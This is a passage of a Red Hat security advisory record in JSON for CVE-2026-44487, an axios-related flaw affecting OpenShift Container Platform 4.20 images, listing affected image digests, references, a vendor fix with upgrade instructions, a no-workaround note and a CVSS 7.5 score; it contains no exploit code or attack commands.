"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "RHBZ#2487948",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487948"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v",
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
}
],
"release_date": "2026-06-11T15:38:25.150000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
